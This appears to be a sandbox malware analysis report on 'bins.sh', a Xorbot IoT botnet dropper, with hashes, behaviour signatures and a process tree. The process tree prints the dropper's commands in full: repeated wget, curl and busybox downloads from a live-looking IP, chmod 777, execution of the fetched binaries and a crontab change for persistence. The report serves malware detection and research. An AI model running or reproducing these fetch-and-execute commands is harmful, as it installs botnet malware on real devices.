Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01-12-2024 12:55

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    471fda7ae47efbd3a7ae13a187d7dd6c

  • SHA1

    48ee8b96d4a32ba6b5cc63e5b87890c51d7312d8

  • SHA256

    4fa56931653e1b3afa0f8f7117bb2e5b1e9cef8bc0eba4e46d11a7c5081cf4c8

  • SHA512

    7f5e3d7bec602fd4d50299d9209e83b16a2d91fae16dc5147688db3f69b77da906a15440eda309cd2c29e5f7d33e0070d5438786a00d5fa52a325b70dd1d236d

  • SSDEEP

    192:wrOt6BXNXDSy0fjsP+yCtFDjHA35+yCtFLjHt2Ot6BhjSy0fjP:wrOt6pNXDSy0fjsP+yCtFDjHA35+yCtR

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (647) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          ./hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/chmod
            chmod 777 KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • File and Directory Permissions Modification
            PID:736
          • /tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            ./KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
            • Executes dropped EXE
            PID:737
          • /bin/rm
            rm KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
            2⤵
              PID:739
            • /usr/bin/wget
              wget http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Writes file to tmp directory
              PID:740
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Writes file to tmp directory
              PID:741
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/chmod
              chmod 777 VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • File and Directory Permissions Modification
              PID:746
            • /tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              ./VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
              • Executes dropped EXE
              PID:747
            • /bin/rm
              rm VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d
              2⤵
                PID:753
              • /usr/bin/wget
                wget http://216.126.231.240/bins/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                2⤵
                • Writes file to tmp directory
                PID:754
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:761
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                2⤵
                • Writes file to tmp directory
                PID:772
              • /bin/chmod
                chmod 777 YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                ./YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:776
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:778
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:780
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:782
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:783
                  • /bin/rm
                    rm YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl
                    2⤵
                      PID:786
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                      2⤵
                        PID:790
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                        2⤵
                          PID:873
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                          2⤵
                          • Writes file to tmp directory
                          PID:875
                        • /bin/chmod
                          chmod 777 Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                          2⤵
                          • File and Directory Permissions Modification
                          PID:884
                        • /tmp/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                          ./Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                          2⤵
                          • Executes dropped EXE
                          PID:885
                        • /bin/rm
                          rm Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0
                          2⤵
                            PID:887
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                            2⤵
                              PID:889
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/GCsG00u3jXS5wauf4N213bFm0RzfhN1gwn
                              2⤵
                                PID:891

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/Jm5sAbQAWkjo6OX1dG4AeRbfoRXt9c7Ba0

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/VIjAD78qcsBrSVulVBfc9xf9BXIysdP80d

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/YT7sHEF0o3vniEeMLDQH7lScvZCARcPUYl

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /var/spool/cron/crontabs/tmp.JnSp9u

                              Filesize

                              210B

                              MD5

                              ded151950e9aaf93a4af6bc6aedbae09

                              SHA1

                              e1584dd98eefbf65bcd15f3382e4d0cb5c81cb64

                              SHA256

                              7d69440c450afd711e655db31ca5925c66adc33e179393ce8abb27d3bdc151f3

                              SHA512

                              7de717f866659f6a280c3f2f1aa19a6b8b2b198aa9316f8668e6e05c08bca87825ef9f10d664dcc4ebe33e309a9392bbf7e21bc75ad46a4ddf25080b1bf0ec74